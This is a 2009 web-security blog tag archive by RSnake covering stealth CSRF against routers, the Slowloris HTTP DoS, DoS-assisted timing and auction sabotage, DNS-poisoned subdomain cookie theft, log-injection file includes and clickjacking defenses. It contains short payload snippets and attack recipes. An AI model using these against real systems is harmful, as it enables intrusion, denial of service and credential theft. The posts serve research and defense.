My Security Planet » Tags

73 items tagged "Webappsec"

CSRF And Ignoring Basic/Digest Auth

Posted: June 30th, 2009, 2:51pm CDT by RSnake

Tags: Webappsec [edit]

One of the single most annoying things about CSRF and router hacking etc… is that you get the annoying popups on Basic and Digest authentication pages, asking you to log in. More and more devices are moving away from these popup style alerts and moving more towards form based authentication, which is better from a hacking perspective. But still, I would say the vast majority of firewall/switch/router devices out there use Basic or Digest based authentication. The problem with that from an attacker’s perspective is that it creates a noisy popup if it fails (if the user isn’t authenticated) that the user is bound to notice and question. Well, now we have an answer - at least in Internet Explorer:

<DIV STYLE="background-image: url(http://router/path.to.hack)">blah</DIV>

I know there are others tags that work, but probably not as well as this method from what I’ve seen so far. I haven’t found a reliable way in other browsers to allow this to happen, but I’ve only barely scratched the surface of the vast number of CSRFable tags out there. But anyway, yes, this doesn’t cause the Basic or Digest auth dialog to fire so it will be more stealthy upon performing a CSRF that fails. Of course for POST based CSRF you’re still out of luck…

Greater Precision in Timing Attacks Using DoS

Posted: June 27th, 2009, 7:46pm CDT by RSnake

Tags: Webappsec [edit]

Because of all of the stuff that happened over the last week or so regarding Slowloris, I started thinking about other ways to use DoS to aid in existing attacks. A lot of times it’s really the opposite of what an attacker wants to do. Typically the attacker wants to keep the system alive so they can steal information from it or break into it. The more it stays up the better.

As I mentioned a few days ago, there is one way you can use the site by keeping a session open that you initiated prior to the attack, so that essentially you are the only person on the system - or one of only a handful at best. Well one place this helps you is with timing attacks. If you know a system tends to react to load because of the heavy database calls or you just aren’t certain what the effect of a lot of users are, you have an option - denial of service.

By denying service to everyone except you, you can remove the bandwidth and database chatter, and give you far more precise information about what is going on at the code and database levels. By examining the timing differences between a valid username that you know exists and an invalid one you know cannot exist you can create lists of valid usernames, or at minimum identify what the timing should be for both use cases with and without load. Again, this is another virtue of a DoS attack that leaves you alone on the system but stops everyone else from connecting. Having no one else is there to pester you or give you erroneous results is a timing attack dream come true.

Detecting MITM/Hacking Proxies Via SSL

Posted: June 21st, 2009, 10:49am CDT by RSnake

Tags: Webappsec [edit]

There are several different ways for MITM/hacking proxies to handle SSL. They can create a self signed root cert that the attacker/user accepts once, they can do a per site snake oil cert, or they can simply downgrade the attacker/user to HTTP (a la Moxie’s sslstrip). Any of those work, and it’s kind of a matter of preference and circumstance as to which is better. But what if I’m running a site and I want to see if the user coming in is using a hacking proxy? There’s a few techniques to do that.

First of all there’s really not all that much you can do within SSL itself to create more than binary options (there are some exceptions to that rule, and I’ll post about that later) but those binary options are actually just enough. Let’s say I have several sites. One of which is a banking site. The others just have something as simple as a tracking pixel on them. Firstly, the time difference between when the user pulls the SSL certificate and actually instantiates the site might indicate whether they are going directly to the site or if they had to take some time to accept a self signed-per site certificate (a la Burp Suite).

Now if the MITM proxy uses a standard root signing certificate one of those sites with the tracking pixels on them can use the same standard root signing certificate (since it’s sitting right there in the tool and can probably easily be ripped out and re-tasked to be used on the banking’s tracking pixel site) to sign it’s own SSL session. If the user pulls it down anyway, even with the mis-match error, you know they are either using or have used that particular MITM proxy.

Another pixel might be protected by a snake oil SSL certificate. If that image is pulled anyway, despite the mis-match error, there is a good chance they are using something like an sslstrip or something like a root signing authority. Because the image is pulled and it shouldn’t be, you know there must be something off here.

Lastly, you can have another completely valid SSL signed site. If they are using something like Burp Suite it will give them a certificate mismatch error and it won’t pull the image (at least not immediately), even though it should. Although the image may get pulled eventually, as the hacker goes through the annoying manual process of adding the cert in or okaying it, the time frames will be so great compared to pulling images on the same site that it should be obvious that they aren’t an average user.

Of course these techniques have strange effects on certain browsers, like the iPhone Safari browser as I talked about before. But if the user is claiming to be one of the common standard browsers, this technique should work - although I’d test it thoroughly before deploying it.

HTTP Longevity During DoS

Posted: June 20th, 2009, 12:32pm CDT by RSnake

Tags: Webappsec [edit]

One of the things I noticed early on in my testing of Slowloris was that not every server reacted like you’d expect it to. Some gave database errors - I’m assuming because the database connections had different limits than the HTTP server. Whatever the reason, it only seemed vaguely interesting at first, from a fingerprinting perspective. The other issue is that to “see” the issue I had to basically hit a race condition by connecting to the webserver with my browser right in the split second as the sockets were being freed but before the database could recover. Not exactly the best way to go about things.

Then I started thinking about HTTP pipelining works in browsers, and also how HTTP sessions can send more than one request over a single socket. So imagine this. A server is under a Slowloris attack and either prior to the attack or by re-purposing one of the existing sockets to send something like the following:

GET / HTTP/1.1
Host: www.whatever.com
User-Agent: Mozilla/4.0 …
Connection: Keep-Alive
Accept-Encoding: identity, *;q=0
Accept-Language: en
Range: bytes=0-10

On some web servers this will only send back a small amount of information because of the Range request header (the first ten bytes) which is awfully similar to a HEAD request, in terms of not wasting your bandwidth looking at something you don’t care about while you wait for the attack to ramp up. But more importantly the Keep-Alive will allow you to then send a second request a while later and then another one and so on…

What that means is that you can be the one person sitting at a very large table - you’ll have the website all to yourself. That’s because all the other sockets are tied up, so that no one else can use the site. With some re-programming Slowloris could be capable of that task, or a secondary program could be used to initiate and hold open a certain amount of sockets that you can use and re-use as you probe the site or use it in peace - because no one else will be on the site to bother you. It’s just another interesting side effect of a DoS that only denies the service to everyone - except you.

Slowloris HTTP DoS

Posted: June 17th, 2009, 10:32am CDT by RSnake

Tags: Webappsec [edit]

UPDATE: Amit Klein pointed me to a post written by Adrian Ilarion Ciobanu written in early 2007 that perfectly describes this denial of service attack. It was also described in 2005 in the “Programming Model Attacks” section of Apache Security. So although there was no tool released at that time these two still technically deserves all the credit for this. I apologize for having missed these.

As you may recall at one point a few weeks back I talked about how denial of service can be used for hacking and not just yet another script kiddy tool. Well I wasn’t speaking totally hypothetically. A month ago, or so, I was pondering Jack Louis (RIP) and Robert E Lee’s Sockstress, and I got the feeling that other unrelated low bandwidth attacks were possible. Then I randomly started thinking about the way Apache works and figured out that it may be possible to create something similar to a SYN flood, but in HTTP.

Slowloris was born. It basically uses a concept of keeping an HTTP session alive indefinitely (or as long as possible) and repeating that process a few hundred times. So in my testing, against an unprotected and lone Apache server, you can expect to be able to take it offline in a few thousand packets or less on average, and then you can let the server come back again as soon as you kill the process. It also has some stealth features, including a method of bypassing HTTPReady protection. Why is this noteworthy?

Typical flooding attacks require tons and tons of packets and end up denying service to other applications as a result. By creating a flood of TCP requests, sure you can take down an upstream router, or a web server, but it’s overkill if you really just want to take down a single website. Slowloris does this without sending an overabundance of TCP or HTTP traffic, and it does so without increasing the load significantly, or in any other way hurting the box (assuming other things aren’t tied to the HTTP processes - like a database for instance). This appears to only affect certain types of webservers (generally those that thread processes, like Apache, but not like IIS).

So I contacted Apache a week ago, because I was a little concerned that I hadn’t heard much about this, other than one conversation with HD Moore about a similar attack he encountered using a different payload. I expected a well thought through response, given their dominance in the server market and the fact that I gave them an early copy of the code. Alas:

DoS attacks by tying up TCP connections are expected. Please see:

[httpd.apache.org]

Regards, Joe

Yes, that was the entire response. So, while RTFM is a perfectly valid response on the Internet, it’s also extremely short sighted, because almost no servers are configured properly - or if they are, it’s as a side effect of needing load balancing or something upstream that happens to protect them. Also, if you actually read that Apache.org page, it really doesn’t cover this attack at all. And Joe sorta totally missed the boat or at least mis-typed in his brevity, because this isn’t a TCP DoS, it’s an HTTP DoS. If your server used UDP and I re-wrote Slowloris to speak UDP it would work too. The best example of how this differs from a TCP DoS is the fact that other unrelated services are unaffected, and you can still connect to them like you normally would.

The reason this works is because the web server will patiently wait well beyond what is reasonable, allowing an attacker to consume all of the available threads of which there are a finite amount. That makes it a web server problem, not a OS or networking problem, although there may be OS or network solutions to Apache’s default configuration issues. This is further evidenced by the fact that IIS isn’t vulnerable to Slowloris in it’s current incarnation. Even if Apache and IIS are on the same physical box, Apache will be affected but IIS will not. That would lead me to believe it’s a architectural flaw in Apache’s default web server’s design. Though this isn’t just Apache’s problem, to be fair. Other web servers are vulnerable as well, although none come close to the size of Apache in terms of market share. You can find more information on the Slowloris page.

Anyway, I hope this gets people thinking about better web server architecture. That’s especially true if this is “expected” behavior of their web server, and at least offer a default configuration that can protect from this sort of attack, instead of having to jump through a bunch of convoluted hoops. I thought it would be better to open this up for discussion, so I encourage you to try out the tool in QA or staging and see how your web server handles it. The software is very beta though, so do not use this against anything in production - I make no warranties about its ability to do anything outside of a lab environment!

RFC1918 Blues

Posted: June 8th, 2009, 3:02pm CDT by RSnake

Tags: Webappsec [edit]

Well, it’s been quite a week or so for me. 7 days of travel, to Las Vegas for SANS and Stockholm for the penetration testing summit. Man, I’m tired! But I promised tons of people I’d actually write out what I was talking about during my speeches, since it’s tough to cover everything in such a short presentation, with all the other things I was talking about, and now that I’m finally recovered from my jet lag, I had a chance to sit down and write it all out. For those of you who have no idea what I’m talking about, don’t worry, you’re not behind the times. You can read the whole RFC1918 issue here. I tried to make it into a blog post, but it kept getting longer and longer, so I just turned it into a whitepaper instead because it’s easier.

Without re-explaining the paper, it turns out that in certain browser, and with certain VPN and the current architecture of most RFC1918 networks, there is a high tendency for bad things to inadvertently happen, like IP collisions. That’s annoying in the networking world (and a well known problem) but it’s dangerous in the security world (and far less understood). Anyway, I talked it over with HD Moore and Toby and some of the other guys at SANS and it turns out they had actually seen similar things happen in the past, so it’s been validated in the wild (again, inadvertently though).

Using Denial of Service for Hacking

Posted: May 4th, 2009, 9:10am CDT by RSnake

Tags: Webappsec [edit]

Happy Monday! I spent the better part of this weekend thinking about denial of service, but rather than releasing a tool, I thought it would be worthwhile to talk about how denial of service attacks could be used in tandem with other attacks to exploit other logical or business issues. Let’s take a few examples:

Timing: Let’s say you have a site that accepts bids up to a certain time of day - say an auction site or a site that allows you to bid on work or whatever. Most of the time people submit their bids as close to the deadline as they can so that their competitors don’t have time to revise their bids. Sure, you can write a robot to come in at the last fraction of a microsecond and underbid, but what if you want to keep your bid highest or lowest (depending on the type of site)? Well by submitting your bid earliest and then denying service to the application for the remainder of the time your competitors don’t have a chance to submit their bids.

Web services: Sometimes, it’s not a matter of denying service to the site itself, which may have all sorts of robust protections in place, but sometimes the web service is actually more interesting. This could include things like authentication or even email. Let’s say I know someone is traveling and they use their phone to get their email. If I know they are in charge of responding to events, I can deny service to the webmail server and poof - suddenly they are no longer getting updates that something else is going on that they need to take care of.

Diversionary: And that leads us to the last item on the list which is using denial of service as a diversionary tactic. Sure, we can just do the bad thing that we intend to, but wouldn’t it be so much better to throw a red herring in there to cause them to look in the wrong place while the attacker stealthily gets whatever he wants elsewhere?

Anyway, it’s an interesting concept to talk about. I think most people think of DoS as a simple script kiddy menace without considering it’s other useful purposes. And now, with a case of the Mondays, it’s time to buckle down for a lonnng week.

Permalink for 'ha.ckers.org_web_application_security_lab/2009/04/20/Google_%e2%80%9cWhat%e2%80%99s_Up%e2%80%9d_CAPTCHA'

Google “What’s Up” CAPTCHA

Posted: April 20th, 2009, 2:16pm CDT by RSnake

Tags: Webappsec [edit]

I don’t have time for a full blown Google rant today, but I was forward this link today and I couldn’t believe my eyes. This is Google’s “What’s Up” CAPTCHA. You know, when I first heard about it it was described to me as “a picture and you have to tell it which way is up”. So my first reaction was “that’s a terrible CAPTCHA - only one in four chance.” Well, it’s not that bad. If you actually read the paper it’s actually a 1/22 chance (assuming no optimizations).

There are other problems with this though - like the fact that it relies on a set of pictures and someone has to make a judgment call on what is the correct position. I bet it’s easier to solve for humans, but it’s also fairly trivial for robots to solve too. CAPTCHA - what does that mean anyway? Let’s see if Google’s project meets the definition:

Completely Automated - Google employees need to make judgment calls ahead of time on each image orientation, so this requirement of a true CAPTCHA fails and incidentally adds a hidden cost to using the “What’s up” CAPTCHA, although it might not be huge, if you make the set small (which would cause other problems).

Public - well, as public as anything Google does is public. It’s not open source or anything, but it’s out there.

Turing Test to tell Computers - I would argue that it’s not a Turing test at all, because if you have a set of 45 robots that try only one guess a piece Google’s “What’s up” will fail to catch two of them. And again - that’s with zero optimizations. Second major failure making this not actually a CAPTCHA.

and Humans Apart - I think it fails this one as well, since blind people are humans. So are non JavaScript/Flash/CSS wielding users - I know I’m human. So that’s three major failures of one definition alone. Not great!

Someone with far greater math skills than I will some day create the mathematical proof that explains why CAPTCHAs aren’t technically achievable. It’s possible to create tests that are vaguely good at telling computers and humans apart (CAPVGTCHAs perhaps?) but unless my understanding of the universe is way off base, I think CAPTCHAs are modern day perpetual motion machines. Everyone thinks they get it and it can work, but it’s never been done, and no one has come even close, in my mind. Sorry, I know this wasn’t as good a Google rant as I normally come up with, but as one of their guys over there recently told me, “You don’t call, you don’t rant…” I know… too busy!

US Cities Dictionary

Posted: April 17th, 2009, 2:30pm CDT by RSnake

Tags: Webappsec [edit]

Born from much frustration out of not seeing this anywhere else I finally created a dictionary file for all the US cities. I really couldn’t believe such a thing wasn’t already floating around. Tons of companies use US city names as names for hardware devices, passwords for networking devices, and so on. Anyway, it finally came to a head the other day when I was presented with a secret question that said “What is your city of birth?” Well, generally speaking you know that it has to be one out of around 20,000 cities in the US, so if they don’t have any brute force detection on the secret question you can brute force that pretty easily (10,000 guesses on average per account - which only takes about 1/2 an hour if you automate it).

So I looked around places like Packetstorm’s wordlist page and a few other places and finally just decided it was easier to rip one of the GEOIP databases apart and generate my own. So if anyone else has had the same problems, never fear - you can just download the list of US Cities here. Hopefully that will make someone else’s life easier. Happy auditing!

Amazonfail And Anti-Automation

Posted: April 16th, 2009, 3:22pm CDT by RSnake

Tags: Webappsec [edit]

If you haven’t heard about it, Amazon was hit by a pretty interesting attack a few days back, and I thought I should quickly talk about it. A guy named weev was upset that Amazon was pulling the adult content off the site because they were keeping gay and lesbian content. So he found himself a CAPTCHA breaking crew (presumably from this site since he mentioned it) and paid them to create a ton of accounts. Then he used those account to mark all the homosexual materials as offensive content. It took a while for Amazon to recover. You can find a lot of references to the event on Twitter.

So in looking at the scripts weev wrote, although simple they were very effective in the short term. It cause Amazon a lot of grief. There’s a new company called Silver Tail Systems that’s working on an anti-automation/anti-fraud system that would have caught this type of attack in a number of different ways. Namely things like IP address, failure to follow flows properly, HTTP headers, and so on - all leave pretty obvious signals to an automated process. Anyway, I thought it was an interesting attack. Certainly not something you see every day.

Internet Explorer 8 and NoScript View Source Bugs

Posted: April 10th, 2009, 4:43pm CDT by RSnake

Tags: Webappsec [edit]

So I’ve been sitting on two semi boring view source bugs. Not because I was saving them for a rainy day or anything, but it took me a while to think through them properly. Let’s pretend someone who is not entirely clever wants to do forensics on something to be sure the page is doing what they expect it to. This would be something like making sure that the username and password inputs are being posted to the proper SSL enabled website or something. We wouldn’t want that to be subverted so we view source to make sure it’s all kosher. Here come the two bugs.

The first bug is in Internet Explorer 8. Internet Explorer has a typical null byte bug that makes it truncate the new view source function upon reaching a null byte. So if you were to go to a page that had a null byte in the middle of it, the rest of the page wouldn’t pop up. This is not true if you use an external editor or their new nifty Developer Tools functionality, but not many people do either of those. This doesn’t appear to affect any other Internet Explorer version that I looked at.

Next is a bug in NoScript for Firefox. If you enable JavaScript (imagine it’s a site you trust or are forced to enable for various functionality) and POST some data from one page to another and then view source you’ll notice that instead of it sending a POST request it sends a GET request. I have no idea why, but it can be detected and in the case of seeing a GET request on a page that requires a POST the page can modify it’s resultant source code.

Both of these bugs I find to be fairly minor, but it’s just another reason you can’t trust browsers to present you with all the facts of the situation unless you really know what you’re doing. There’s a demo of the code here if you want to test it yourself (again, only works in IE8.0 or in Firefox with NoScript enabled). In either case you must enable JavaScript for it to work. If I don’t post before then and you celebrate it, Happy Easter!

Hacking Without All the Jailtime

Posted: April 6th, 2009, 3:05pm CDT by RSnake

Tags: Webappsec [edit]

There’s been more and more legislation put in place to try to discourage hacking in general, and even tool development. Not that I think it’ll lead to many prosecutions anywhere, but nevertheless, it’s always nice to have a place to test. I got an email from one of my readers asking about the hackme series:

Hello and thank you for an awesome blog, and a daily read.

I while back you mentioned some “ready-made” websites that were used in the web app sec sphere to test scanners and specific tools. More specifically you mentioned 2, one of which that was somewhat depreciated, but still had some educational value. I’ve been looking though your posts, but I have had no success finding this entry.

I’ll do one better - here’s a short list I compiled that includes a lot of the more popular tools for ethical testing, without all the muss and fuss of prison time. If you want to hone your skills or just have some fun at work, try these out (in no particular order):

If there are others that should be added to this list, please drop me a line and I’ll add them. I hope everyone had a good April 1st and that insurance covers whatever was damaged.

iPhone SSL Warning and Safari Phishing

Posted: March 29th, 2009, 11:33am CDT by RSnake

Tags: Webappsec [edit]

As some of you may have noticed, there’s a lot more going on in the SSL world and a lot more to come thanks to guys like Mike Zusman, Alex Sotirov Moxie Marlinspike and so on… Papers forthcoming, but in the mean time I thought I’d point out a pretty nasty UI issue with the iPhone, since it’s been something I’ve been meaning to post about for a while. Given the rise in mobile computing as a legitimate way to do business, I think this kind of thing is going to become more important. If an attacker can gain MITM access through a public wifi that the iPhone is using, they can intercept a page that the user normally uses and trusts somewhat, but doesn’t necessary trust with any sensitive data (like a blog or forum that they frequently visit for instance).

What you’re seeing is a 1×1 pixel iframe (doesn’t need to be visible, but it’s good for testing purposes) to https://www.bofa.com/ which uses an invalid certificate. Don’t ask me why one of the largest banks on earth can’t get their certs in order - that’s just the way it is. Anyway, let’s pretend instead of it being incredible sloppiness, it’s actually a MITM. The user is presented with a popup that in no way explains to them what the cert they are accepting is for. So their first instinct would be to accept it, because they aren’t going to be putting any sensitive information into the page anyway. The problem is that the cert stays with the browser session - so it will continue to work, when the user does eventually surf to their bank or whatever SSL page you’ve MITM’d.

Compare that to the desktop version of Safari, where it at least tells you that it’s related to www.bofa.com. Still not the greatest visual cue but it’s something. Incidentally, during this testing I messed around with some of the old tricks and found out that that Safari still suffers from the old URL obfuscation tricks of ages past. Eg: [www.bofa.com@ha.ckers.org]. *sigh*

Pushing The Limits of Tech

Posted: March 8th, 2009, 7:32pm CDT by RSnake

Tags: Webappsec [edit]

Before I begin this post, let me just say, I’ve always been a huge huge fan of technology. I’ve got more insane tech than almost anyone I know (I know a HD Moore, though, so I don’t win that geek war, but I’m close). And I also like to think I’ve got a firm grasp of the web, but every once in a while something strikes me as just simply stunning. Go here, and watch it - I suggest making it full screen: the new GE smart grid website. Go visit it before you read the rest of this.

I admit it, I’m amazed. It’s very very cool tech. It’s the wave of the future, and as much as I’d like to pretend I think it’s a terrible idea, I don’t. It’s just amazing. Annnnd just as I’m getting ready to set up my printer, get my camera ready, install a plugin and give it complete access to my camera… I pause, as my security brain finally wakes up from it’s amazement. I think we’re soon reaching an inflection point, and in many ways have just simply skipped way past it. What’s the point of the web? Is it to delight and amaze? Is it to allow better consumerism? Is it for communication? Is it to impart information? Is it to download porn? Is it all of those things?

How can we possibly secure ourselves when amazing applications are finally on the horizon that make even hardened security folks want to drop all their guards to join in the party? Am I becoming a Scrooge? “Cool tech - bah humbug!” GE’s application is a wiretapper’s dream application yet I’m compelled to join in and be amazed. *sigh* I guess I’ll just have to watch it again and pretend I don’t want to install it.

Man in the Middle

Posted: March 4th, 2009, 11:00am CST by RSnake

Tags: Webappsec [edit]

There has been a lot going on in the man in the middle space over the last few months. Frankly - I’m impressed. It’s something I haven’t talked much about publicly, but rather something I like to talk about to people at conferences. In fact, some of the innovations in the space is stuff I’ve been trying to get guys like Robert Graham and Dave Maynor to write into ferret for years now. That said, there has finally been some major leaps forward in actual technology to empower really nasty MITM attacks.

One thing I’ve been annoyed with is that although MITM is technically possible, and indeed has even been demonstrated in lab environments a lot, it’s really not all that common, unless you’re talking about passive listening. There’s not a lot of programs that use MITM to actually modify traffic. Modifying it is where you get a lot more bang for your buck. There’s a good paper over at Watchfire about why active man in the middle attacks can give you a lot more. In fact, some of what’s in this paper was actually demonstrate by Rich Mogull at DefCon last year. No one was probably paying any mind to the analyst but that guy is ahead of his time, let me tell you! He was creating iframes to things like the gmail contact list and addresses from yahoo. Cool stuff - and that was just an evil twin.

Also there are a few newish tools that are really important in this space. I think both need to evolve a bit, but they’re both open source, written in python, easy to modify and do 90% of the heavy lifting. So in my mind, active MITM attacks are finally really viable for the average attacker. The first tool is SSL strip written by Moxy. It does a great job of showing how you can just down-convert into an HTTP mode, and most of the time users won’t notice - especially on pages that just post to HTTPS (a huge pet peeve of mine).

The second tool is Middler written by Jay Beale. Jay took the concept to the next level and actually built in most of the DNS spoofing/ARP spoofing part of the attack that you need, so you don’t have to run separate programs to get the attack working. Both programs deserve a lot of praise for getting this attack to be more widely understood and realistic and beyond the passive sniffing that we are all accustomed to with tools like ferret and dsniff. Sure, the concept of a MITM attack is nowhere near new, but now it’s finally accessible to the average attacker - which means it’s something we should really start thinking about, beyond saying HTTPS is a solution to our problems - clearly it is not (and for a lot more reasons than Moxy went into too).

PCI Question of the Day

Posted: February 5th, 2009, 10:58am CST by RSnake

Tags: Webappsec [edit]

I’ve had three different people ask me this question over the last several months and so now I feel like it’s time to answer some of these technical questions. I think there are tons of ambiguities in PCI and I’d like to start hashing them out - and you all can be the judge an jury, if you like. So without further ado, here is the first question, in what might become a recurring blog post theme:

If you’re a merchant who simply iframes your payment gateway, and never collects any information, do you have to use SSL/TLS? The payment gateway’s page already does.

If you look at PCI, there is no strict guidance about this use case, even though it’s coming up pretty often, and really needs to be spelled out clearly. So for the purposes of PCI, I’d say, kinda, it’s a requirement. The two things that specifically mention it are:

- Verify that HTTPS appears as a part of the browser Universal Record Locator (URL).
- Verify that no cardholder data is required when HTTPS does not appear in the URL.

This may not seem all that ambigious at first blush but really, there are tons of issues with these two sentences. Firstly, HTTPS very rarely appears anywhere. I think what they meant to type was https (lowercase). Next it doesn’t specify WHERE it has to appear, just that it is “part” of the URL, so http://www.whatever.com/HTTPS/… is fine. Next, in both bullets it doesn’t specify which URL they’re talking about (the one that’s in your browser or the one that’s being requested). And in the last bullet it doesn’t say that the information can’t be reflected back in a HTTP session, it just says that PII can’t be required of a user. All of these things are ambiguities.

With the increase in use of mashups and widgets there’s going to be more and more websites out there that iframe in some payment gateway or a backend “secure” website that takes in credentials. The problem is there is no way for a user to tell if the site is using SSL/TLS or not since it’s a child frame. The main reason you use SSL/TLS in the first place is to prevent man in the middle attacks from sniffing and modifying the content on the wire. If the attacker can modify the content, they can modify the iframe to point to an unsecure domain (one that they potentially own).

Users would have no idea that it has happened. Even seasoned experts who were just lazy and didn’t bother to read the source (assuming it wasn’t overly convoluted with obfuscated JavaScript), or watch the wire themselves might not know the difference. So while I’m not an ASV, QSA or any other TLA, it’s my opinion that the answer to the question is a resounding “yes”. Sorry mashups and widgets, it’s time to grow up and stop playing in the sandbox. The same thing goes with sites that submit via SSL/TLS but the page with the form on it is unencrypted. Bad idea. And yes, I think it should be specifically mentioned in PCI. Many more uncovered use cases to come, and feel free to send your own questions if you’d like my opinion.

Clickjacking and GuardedID

Posted: February 4th, 2009, 7:13pm CST by RSnake

Tags: Webappsec [edit]

I’m so behind in blog posts, it’s unreal! Feel my pain. Feel it, I tell you!

I’ve received several emails about GuardedID’s clickjacking protection, so I thought I should do a quick post about it. From Michael Brenner:

GuardedID does not interfere with operation of legitimate iFrames, frames, AJAX, or scripted applications. GuardedID does not block operations. It makes potential clickjacks visible to the end user. PLUS, as you mentioned, GuardedID runs on IE8, IE7, and IE6, as well as Firefox 3, 2, and 1.

Clickjack warning is an added benefit, rather than the primary function of our GuardedID product (at least until there is a major loss due to a creative clickjack.)

GuardedID’s primary function is to obfuscate keystrokes so any keyloggers that manage to install on a workstation do not get ID’s and passwords entered into a web browser. (GuardedID, on a percentage basis, is many times more effective at what it does than most anti-virus programs are at blocking viruses.)

GuardedID needs to process the DOM in order to properly identify text input fields. When focus is on a text input and GuardedID is active, GuardedID rewrites the bg color of the field so the user knows that the keystrokes are being encrypted (our marketing term for this indication is “CryptoColor”).

When your clickjack paper hit the headlines last September, our phone rang constantly from users asking if we could help avoid clickjacks, especially in Internet Explorer. Since we already process the entire DOM, we added the two clickjack warning features to GuardedID in response to their requests.

The “Opacity” warning forces frames with “off domain” sources to ALWAYS be visible. The “Placement” warning (called “Show Red Border” in GuardedID) forces the dashed red line around off-domain frames. (Show Red Border is really fun to use on sites like amazon.com who give up space to outside advertisers. The off-site ads are all framed.)

So for those IE users who want to take matters into their own hands rather than waiting for IE8.0 to come out and for every site to adopt X-FRAME-OPTIONS, you have a solution at your disposal to thwart would be clickjackers. I have not tested this tool yet, and it isn’t free, like the NoScript alternative for Firefox, so if someone wants to post user comments here, they would be welcome.

DNS Cache Poisoning Non-existant Subdomains

Posted: February 4th, 2009, 12:01pm CST by RSnake

Tags: Webappsec [edit]

I recall when I first read HD Moore’s writeup about the DNS Cache Poisoning that had happened to his upstream, I though that it was somewhat shortsighted that the attacker chose google.com to cache poison since that was so obvious. Firstly, HD and the others at his company probably actually use Google very frequently, they had already cached the real IP address in their browser so it would take a while to take effect, and most obviously there was the visual cues that tipped him and probably everyone else off since the website didn’t act like Google.

But let’s pretend for a moment the attacker were interested only in credentials, and they knew the website in question set global cookies for the whole domain. Even in the case of SSL this might be a problem if they don’t use the secure flag within the cookie. So the attacker can then use the Kaminsky DNS cache poisoning attack against a non-existant subdomain. So instead of secure.bank.com they cache poison hacker.bank.com, and they point it to their own server.

The attacker then simply gets the user to click on a link or visit the page through a dozen different possible ways, and poof, the credentials for the bank are sent to a subdomain of the bank that the bank doesn’t even own. Setting the secure flag on cookies helps, and making sure your cookies aren’t global in scope is also a good idea. The best part is that it doesn’t have to have any visual cues. A <img src="http://hacker.bank.com/"> is enough to force the credentials to be sent to the fake subdomain. Once the credentials are stolen, the DNS entry gets dumped because the machine goes offline, the cache in the browser can be set to expire immediately, and ultimately no one is the wiser and there is very little forensic evidence that it ever happened.

Google Gets Honest - Then Changes Mind

Posted: January 31st, 2009, 11:38am CST by RSnake

Tags: Webappsec [edit]

In one of the most honest moves in Google’s history, Google admitted to their own customers that their own site is bad and can be used to harm your computer. Don’t believe me?

Click here to enlarge

Okay, okay, so it was just one of the worst tested code rollouts in history, they weren’t actually admitting it (at least not on purpose). The site couldn’t handle the load, and there was a bug. But it sure is funny and ironic since really they are the top rated worst offender yet I highly doubt they will be blocking their own IP space again. At least not on purpose.

hypocrisy [hi-pok-ruh-see] (n) - when living up to your own standards simply won’t do.

Remote File Include Voodoo

Posted: January 28th, 2009, 4:49pm CST by RSnake

Tags: Webappsec [edit]

While traveling through Sweden, I had the opportunity to hang out with a friend of mine, David Jacoby from TrueSec. As we were walking around he told me about a new technique he is working on to use a remote file include exploit in a scenario where the system doesn’t allow outbound access from the webserver. If you actually care about security you’re hopefully doing egress filtering on your firewall which has the great side benefit of making remote file includes fail. Additionally, hopefully you’re using a modern version of PHP which by default disallows remote files to be included. Well, it turns out David found that there’s a way around that.

Barring any other file upload, it’s usually impossible to use a remote file include attack in that situation, but an attacker can inject information into Apache access logs either by URL strings or User Agents, or they can include PHP information in the mail logs by sending email from contact forms, etc… The reason this works, is that the web user typically has the rights to read from those files and those files are in somewhat predictable locations. So instead of including a file from the Internet, you include it from the local file system itself. PHP will parse the file, and run the attacker’s code. Boom.

I typically tell people to make sure the entire file system is not writeable by the web user, but unfortunately those types of files are pretty important to be able to write to for the site’s basic functionality on most systems. However, there is still an option there. You can use commands like chattr (change attribute) under *NIX platforms to make the files writable but not readable by the web user, which would solve that problem, or making it not readable by the web user using chmod - either way. Pretty cool research from David!

IE8.0 and Clickjacking

Posted: January 28th, 2009, 10:59am CST by RSnake

Tags: Webappsec [edit]

I’m sure you’ve heard about the new IE8.0 Clickjacking protection here, here and probably most importantly here on the IE blog. It’s probably time I explain exactly what the pros and cons are of this technology as I see it. It’s a complicated problem for those who aren’t entirely initiated so bear with me.

Pros:

1) It will protect against clickjacking if the header is present.

2) It has some usability improvements over the original idea I heard which is that it can allow same-domain iframes.

3) It doesn’t require a plugin which makes it useful by default for any users of IE8.0. That’s a good thing - now if we could just get Noscript built into the browser too! Firefox currently has no default equivalent and I don’t know of any viable projects underway to create a better fix in any other browser by default. That gives IE an edge in the market for default users, once the browser reaches the user’s desktop.

Cons:

1) It’s proprietary to Microsoft - which means that other browsers aren’t protected on the same site that tries to protect itself. That dramatically reduces the percentage of coverage - but that’s a reasonable issue in my mind because we have to start somewhere and other browsers can adopt it if it’s a good idea. There is precedence for this - HTTPOnly. HTTPOnly was a Microsoft proprietary tag on the end of cookies. They invented that concept many years ago and here we are years later and relatively few sites have adopted it and almost no browsers have adopted the standard, even though I think most security people would agree it has a lot of advantages over normal cookies. So if it took years for developers to add a few bytes of text to a cookie that they were already setting, how much longer is it going to take for them to understand how to set an entirely new HTTP header? If your bet is years, you and I are in agreement.

2) No one uses IE8.0, yet. You wouldn’t believe how many times I’ve gone to a customer’s site and realized that everyone in the company is still on IE6.0! Yes, you heard me, not even 7! It’ll be a long time until we see companies getting with the times (and by the times I mean this century’s tech).

3) Since it’s an HTTP X-header it will severely limit who can protect themselves and in what circumstances they can protect themselves. That’s not altogether a bad thing, because most of the big sites can probably muddle their way through this problem. But it’s not nearly as easy as it would be if the browsers just worked securely by default.

4) There is no way for an average user to know that a site is protected (this was Giorgio’s point). Even more advanced IE users would find it a pain to check every single function on every site to make sure it was sending the proper header. This isn’t that big of a deal in my mind simply because there are tons of things average consumers can’t do. It doesn’t bring any peace of mind though, like an SSL lock does - for whatever real security good that does. But this header isn’t even a public relations win unlike whizbang green EV certs.

5) It doesn’t work for all companies in all situations. Companies like banner advertizers, who need people to be able to click on their sites from other domains, can’t protect themselves because it would break their functionality. Similarly mashups and widgets present a real technical challenge.

If you’re a company and you really want to go through the trouble of implementing this as a short term stop gap for the very few IE8.0 users that visit your website, there may be some shortcuts. For instance, if you have an HTTP gateway (like a F5 load balancer or any sort of HTTP proxy for instance) you may be able to send this header on every request without touching your application logic. Not ideal, of course, but it’s possible and probably a lot cheaper than re-writing a lot of application code to protect those very few users who would be protected. All in all I think this is interesting tech from Microsoft and I’m glad they’re thinking about it. But it’s not a panacea, and you shouldn’t rest easy if you’re an IE8.0 user.

